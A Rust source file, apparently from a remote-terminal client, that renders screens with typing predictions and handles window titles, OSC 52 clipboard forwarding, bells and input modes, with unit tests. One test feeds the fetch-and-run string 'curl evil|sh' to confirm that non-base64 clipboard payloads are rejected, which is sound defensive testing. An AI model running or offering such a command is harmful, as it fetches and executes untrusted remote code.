use std::io;
use super::backend::{CellStyle, KohBackend};
use crate::predict::Overlay;
use crate::terminal::MAXIMUM_CLIPBOARD_SIZE;
use vt100::{Color, Screen};
pub fn render(
backend: &mut impl KohBackend,
screen: &Screen,
overlay: &Overlay,
status: Option<&str>,
) -> io::Result<()> {
let (rows, cols) = screen.size();
backend.begin_frame()?;
let mut cur_style: Option<CellStyle> = None;
for row in 0..rows {
backend.move_to(row, 0)?;
let mut col = 0u16;
while col < cols {
let cell = screen.cell(row, col);
if let Some(c) = cell {
if c.is_wide_continuation() {
col += 1;
continue;
}
}
let pred = overlay.cell(row, col);
let concrete = pred.filter(|p| !p.unknown); let hint_underline = pred.is_some_and(|p| p.unknown && p.underline);
let style = if let Some(p) = concrete {
CellStyle {
fg: p.fg,
bg: p.bg,
bold: false,
dim: false,
italic: false,
underline: p.underline,
inverse: false,
}
} else if let Some(c) = cell {
CellStyle {
fg: c.fgcolor(),
bg: c.bgcolor(),
bold: c.bold(),
dim: c.dim(),
italic: c.italic(),
underline: c.underline() || hint_underline,
inverse: c.inverse(),
}
} else {
CellStyle {
fg: Color::Default,
bg: Color::Default,
bold: false,
dim: false,
italic: false,
underline: hint_underline,
inverse: false,
}
};
if cur_style != Some(style) {
backend.set_style(style)?;
cur_style = Some(style);
}
let glyph: &str = if let Some(p) = concrete {
&p.glyph
} else if let Some(c) = cell.filter(|c| c.has_contents()) {
c.contents()
} else {
" "
};
backend.print(if glyph.is_empty() { " " } else { glyph })?;
col += 1;
}
}
backend.reset_sgr()?;
if let Some(st) = status {
let mut line = format!(" {st} ");
let max = cols as usize;
if line.len() > max {
let mut end = max;
while end > 0 && !line.is_char_boundary(end) {
end -= 1;
}
line.truncate(end);
}
backend.move_to(rows.saturating_sub(1), 0)?;
backend.set_reverse()?;
backend.print(&line)?;
backend.reset_sgr()?;
}
let (crow, ccol) = overlay.cursor().unwrap_or_else(|| screen.cursor_position());
backend.move_to(crow, ccol)?;
if !screen.hide_cursor() {
backend.show_cursor()?;
}
backend.end_frame()?;
backend.flush()
}
fn sanitize_osc(t: &str) -> String {
t.chars().filter(|c| !c.is_control()).collect()
}
fn is_base64_payload(s: &str) -> bool {
!s.is_empty()
&& s.bytes()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'+' | b'/' | b'='))
}
#[derive(Clone, Copy)]
pub struct WindowState<'a> {
pub title: &'a str,
pub icon: &'a str,
pub clipboard: &'a str,
pub bell_count: u64,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
pub struct InputModes {
pub application_keypad: bool,
pub application_cursor: bool,
pub bracketed_paste: bool,
pub mouse_mode: vt100::MouseProtocolMode,
pub mouse_encoding: vt100::MouseProtocolEncoding,
}
impl From<&Screen> for InputModes {
fn from(s: &Screen) -> Self {
Self {
application_keypad: s.application_keypad(),
application_cursor: s.application_cursor(),
bracketed_paste: s.bracketed_paste(),
mouse_mode: s.mouse_protocol_mode(),
mouse_encoding: s.mouse_protocol_encoding(),
}
}
}
impl InputModes {
pub fn formatted(self) -> Vec<u8> {
self.write(&mut Vec::new(), None)
}
pub fn diff(self, prev: Self) -> Vec<u8> {
self.write(&mut Vec::new(), Some(prev))
}
fn write(self, buf: &mut Vec<u8>, prev: Option<Self>) -> Vec<u8> {
use vt100::{MouseProtocolEncoding as Enc, MouseProtocolMode as Mode};
let changed = |get: fn(&Self) -> bool| prev.is_none_or(|p| get(&p) != get(&self));
if changed(|m| m.application_keypad) {
buf.extend_from_slice(if self.application_keypad {
b"\x1b="
} else {
b"\x1b>"
});
}
if changed(|m| m.application_cursor) {
buf.extend_from_slice(if self.application_cursor {
b"\x1b[?1h"
} else {
b"\x1b[?1l"
});
}
if changed(|m| m.bracketed_paste) {
buf.extend_from_slice(if self.bracketed_paste {
b"\x1b[?2004h"
} else {
b"\x1b[?2004l"
});
}
let prev_mode = prev.map_or(Mode::None, |p| p.mouse_mode);
if self.mouse_mode != prev_mode {
match self.mouse_mode {
Mode::None => buf.extend_from_slice(match prev_mode {
Mode::None => b"",
Mode::Press => b"\x1b[?9l",
Mode::PressRelease => b"\x1b[?1000l",
Mode::ButtonMotion => b"\x1b[?1002l",
Mode::AnyMotion => b"\x1b[?1003l",
}),
Mode::Press => buf.extend_from_slice(b"\x1b[?9h"),
Mode::PressRelease => buf.extend_from_slice(b"\x1b[?1000h"),
Mode::ButtonMotion => buf.extend_from_slice(b"\x1b[?1002h"),
Mode::AnyMotion => buf.extend_from_slice(b"\x1b[?1003h"),
}
}
let prev_enc = prev.map_or(Enc::Default, |p| p.mouse_encoding);
if self.mouse_encoding != prev_enc {
match self.mouse_encoding {
Enc::Default => buf.extend_from_slice(match prev_enc {
Enc::Default => b"",
Enc::Utf8 => b"\x1b[?1005l",
Enc::Sgr => b"\x1b[?1006l",
}),
Enc::Utf8 => buf.extend_from_slice(b"\x1b[?1005h"),
Enc::Sgr => buf.extend_from_slice(b"\x1b[?1006h"),
}
}
std::mem::take(buf)
}
}
#[derive(Default)]
pub(super) struct OutOfBand {
title_prefix: String,
clipboard_enabled: bool,
title_initialized: bool,
last_title: String,
last_icon: String,
last_clipboard: String,
last_bell: u64,
prev_modes: Option<InputModes>,
}
impl OutOfBand {
pub(super) fn with_title_prefix(title_prefix: String) -> Self {
Self {
title_prefix,
..Self::default()
}
}
#[must_use]
pub(super) fn with_clipboard(mut self, enabled: bool) -> Self {
self.clipboard_enabled = enabled;
self
}
pub(super) fn invalidate(&mut self) {
let prefix = std::mem::take(&mut self.title_prefix);
let clipboard_enabled = self.clipboard_enabled;
*self = Self::with_title_prefix(prefix).with_clipboard(clipboard_enabled);
}
pub(super) fn emit(
&mut self,
backend: &mut impl KohBackend,
modes: InputModes,
win: WindowState<'_>,
) -> io::Result<()> {
self.emit_window_title(backend, win.title, win.icon)?;
if self.clipboard_enabled && win.clipboard != self.last_clipboard {
self.last_clipboard = win.clipboard.to_string();
if !win.clipboard.is_empty()
&& win.clipboard.len() <= MAXIMUM_CLIPBOARD_SIZE
&& is_base64_payload(win.clipboard)
{
backend.set_clipboard(win.clipboard)?;
}
}
if win.bell_count > self.last_bell {
backend.bell()?;
self.last_bell = win.bell_count;
}
let mode_bytes = match self.prev_modes {
Some(prev) => modes.diff(prev),
None => modes.formatted(),
};
if !mode_bytes.is_empty() {
backend.write_input_modes(&mode_bytes)?;
}
self.prev_modes = Some(modes);
Ok(())
}
fn emit_window_title(
&mut self,
backend: &mut impl KohBackend,
title: &str,
icon: &str,
) -> io::Result<()> {
if self.title_initialized {
if title == self.last_title && icon == self.last_icon {
return Ok(());
}
} else {
if title.is_empty() && icon.is_empty() {
return Ok(()); }
self.title_initialized = true;
}
self.last_title = title.to_string();
self.last_icon = icon.to_string();
let icon_eq_title = icon == title;
let t = format!("{}{}", self.title_prefix, sanitize_osc(title));
let ic = if icon_eq_title {
format!("{}{}", self.title_prefix, sanitize_osc(icon))
} else {
sanitize_osc(icon)
};
if ic == t {
backend.set_window_title(&t)
} else {
backend.set_window_icon_and_title(&ic, &t)
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::client::backend::CaptureBackend;
use crate::predict::{DisplayPreference, PredictionEngine};
fn screen_of(bytes: &[u8]) -> Screen {
let mut p = vt100::Parser::new(24, 80, 0);
p.process(bytes);
p.screen().clone()
}
fn render_to_string(screen: &Screen, overlay: &Overlay, status: Option<&str>) -> String {
let mut backend = CaptureBackend::default();
render(&mut backend, screen, overlay, status).unwrap();
String::from_utf8_lossy(&backend.bytes).into_owned()
}
#[test]
fn renders_authoritative_text_with_escapes() {
let s = render_to_string(&screen_of(b"hi"), &Overlay::empty(), None);
assert!(s.contains("hi"), "rendered text missing");
assert!(s.contains('\x1b'), "expected ANSI escape sequences");
}
#[test]
fn render_wraps_frame_in_synchronized_output() {
let s = render_to_string(&screen_of(b"x"), &Overlay::empty(), None);
assert!(
s.contains("\x1b[?2026h"),
"frame must begin synchronized output"
);
assert!(
s.contains("\x1b[?2026l"),
"frame must end synchronized output"
);
}
fn win<'a>(title: &'a str, icon: &'a str, clipboard: &'a str, bell: u64) -> WindowState<'a> {
WindowState {
title,
icon,
clipboard,
bell_count: bell,
}
}
fn oob_emit(oob: &mut OutOfBand, screen: &Screen, win: WindowState<'_>) -> Vec<u8> {
let mut backend = CaptureBackend::default();
oob.emit(&mut backend, InputModes::from(screen), win)
.unwrap();
backend.bytes
}
#[test]
fn out_of_band_title_emits_once_and_guards_empty() {
let mut oob = OutOfBand::default();
let scr = screen_of(b"");
let buf = oob_emit(&mut oob, &scr, win("", "", "", 0));
assert!(
!String::from_utf8_lossy(&buf).contains("\x1b]"),
"no OSC for an unset title"
);
let buf = oob_emit(&mut oob, &scr, win("vim - file.rs", "vim - file.rs", "", 0));
assert!(String::from_utf8_lossy(&buf).contains("\x1b]0;vim - file.rs\x07"));
let buf = oob_emit(&mut oob, &scr, win("vim - file.rs", "vim - file.rs", "", 0));
assert!(!String::from_utf8_lossy(&buf).contains("\x1b]0;"));
let buf = oob_emit(&mut oob, &scr, win("", "", "", 0));
assert!(String::from_utf8_lossy(&buf).contains("\x1b]0;\x07"));
}
#[test]
fn out_of_band_splits_icon_and_title() {
let mut oob = OutOfBand::default();
let scr = screen_of(b"");
let buf = oob_emit(&mut oob, &scr, win("the title", "the-icon", "", 0));
let s = String::from_utf8_lossy(&buf);
assert!(s.contains("\x1b]1;the-icon\x07"), "icon OSC 1, got {s:?}");
assert!(s.contains("\x1b]2;the title\x07"), "title OSC 2, got {s:?}");
}
#[test]
fn out_of_band_prefixes_title_and_equal_icon() {
let mut oob = OutOfBand::with_title_prefix("[koh] ".to_string());
let scr = screen_of(b"");
let buf = oob_emit(&mut oob, &scr, win("vim", "vim", "", 0));
assert!(
String::from_utf8_lossy(&buf).contains("\x1b]0;[koh] vim\x07"),
"combined title is prefixed, got {:?}",
String::from_utf8_lossy(&buf)
);
let buf = oob_emit(&mut oob, &scr, win("the title", "the-icon", "", 0));
let s = String::from_utf8_lossy(&buf);
assert!(
s.contains("\x1b]1;the-icon\x07"),
"distinct icon unprefixed, got {s:?}"
);
assert!(
s.contains("\x1b]2;[koh] the title\x07"),
"title prefixed, got {s:?}"
);
}
#[test]
fn out_of_band_default_has_no_title_prefix() {
let mut oob = OutOfBand::default();
let buf = oob_emit(&mut oob, &screen_of(b""), win("vim", "vim", "", 0));
assert!(String::from_utf8_lossy(&buf).contains("\x1b]0;vim\x07"));
}
#[test]
fn out_of_band_clipboard_off_by_default_emits_nothing() {
let mut oob = OutOfBand::default();
let buf = oob_emit(&mut oob, &screen_of(b""), win("", "", "aGVsbG8=", 0));
assert!(
!String::from_utf8_lossy(&buf).contains("\x1b]52;"),
"no OSC-52 without explicit opt-in, got {:?}",
String::from_utf8_lossy(&buf)
);
}
#[test]
fn out_of_band_forwards_clipboard_when_opted_in() {
let mut oob = OutOfBand::default().with_clipboard(true);
let scr = screen_of(b"");
let buf = oob_emit(&mut oob, &scr, win("", "", "aGVsbG8=", 0));
assert!(
String::from_utf8_lossy(&buf).contains("\x1b]52;c;aGVsbG8=\x07"),
"clipboard OSC 52 forwarded when opted in"
);
let buf = oob_emit(&mut oob, &scr, win("", "", "aGVsbG8=", 0));
assert!(!String::from_utf8_lossy(&buf).contains("\x1b]52;"));
}
#[test]
fn out_of_band_rejects_non_base64_clipboard_even_when_opted_in() {
let mut oob = OutOfBand::default().with_clipboard(true);
let buf = oob_emit(&mut oob, &screen_of(b""), win("", "", "curl evil|sh", 0));
assert!(
!String::from_utf8_lossy(&buf).contains("\x1b]52;"),
"a non-base64 clipboard payload is rejected, got {:?}",
String::from_utf8_lossy(&buf)
);
}
#[test]
fn out_of_band_rings_bell_on_increase_only() {
let mut oob = OutOfBand::default();
let scr = screen_of(b"");
let _ = oob_emit(&mut oob, &scr, win("", "", "", 0));
let buf = oob_emit(&mut oob, &scr, win("", "", "", 0));
assert!(buf.is_empty(), "no bell when the count is unchanged");
let buf = oob_emit(&mut oob, &scr, win("", "", "", 3));
assert_eq!(buf, b"\x07", "one bell on an increase, even if it jumped");
}
#[test]
fn out_of_band_reasserts_input_modes_on_change() {
let mut oob = OutOfBand::default();
let _ = oob_emit(&mut oob, &screen_of(b""), win("", "", "", 0));
let modes = screen_of(b"\x1b[?2004h\x1b[?1000h");
let buf = oob_emit(&mut oob, &modes, win("", "", "", 0));
let s = String::from_utf8_lossy(&buf);
assert!(s.contains("2004"), "bracketed-paste re-asserted, got {s:?}");
assert!(s.contains("1000"), "mouse reporting re-asserted, got {s:?}");
}
#[test]
fn renders_status_line() {
let s = render_to_string(&screen_of(b""), &Overlay::empty(), Some("link down"));
assert!(s.contains("link down"));
}
#[test]
fn status_line_truncation_is_panic_free_across_all_widths() {
use crate::terminal::{MAX_DIM, MIN_DIM};
let status = "[koh] link down — resuming… 5s";
for cols in MIN_DIM..=MAX_DIM {
let screen = {
let mut p = vt100::Parser::new(MIN_DIM, cols, 0);
p.process(b"x");
p.screen().clone()
};
let mut backend = CaptureBackend::default();
render(&mut backend, &screen, &Overlay::empty(), Some(status))
.expect("render must not error or panic at any width");
}
}
#[test]
fn renders_prediction_overlay_glyph() {
let mut pe = PredictionEngine::new(DisplayPreference::Always);
pe.set_local_frame_sent(0);
let blank = screen_of(b"");
pe.new_user_byte(0, b'a', &blank); let echoed = screen_of(b"a");
pe.set_local_frame_late_acked(1);
pe.cull(50, &echoed);
pe.set_local_frame_sent(1);
pe.new_user_byte(60, b'Z', &echoed); let overlay = pe.overlay(&echoed);
assert!(
!overlay.is_empty(),
"confirmed prediction should be visible"
);
let s = render_to_string(&echoed, &overlay, None);
assert!(s.contains('Z'), "predicted glyph not rendered");
}
#[test]
fn input_modes_formatted_and_diff_match_vt100_byte_for_byte() {
let seqs: [&[u8]; 6] = [
b"",
b"\x1b[?2004h",
b"\x1b[?1000h\x1b[?1006h",
b"\x1b[?1003h\x1b[?1005h\x1b[?1h\x1b=",
b"\x1b[?1002h\x1b[?2004h",
b"\x1b[?9h",
];
let screens: Vec<Screen> = seqs.iter().map(|s| screen_of(s)).collect();
for cur in &screens {
assert_eq!(
InputModes::from(cur).formatted(),
cur.input_mode_formatted(),
"formatted parity"
);
for prev in &screens {
assert_eq!(
InputModes::from(cur).diff(InputModes::from(prev)),
cur.input_mode_diff(prev),
"diff parity"
);
}
}
}
}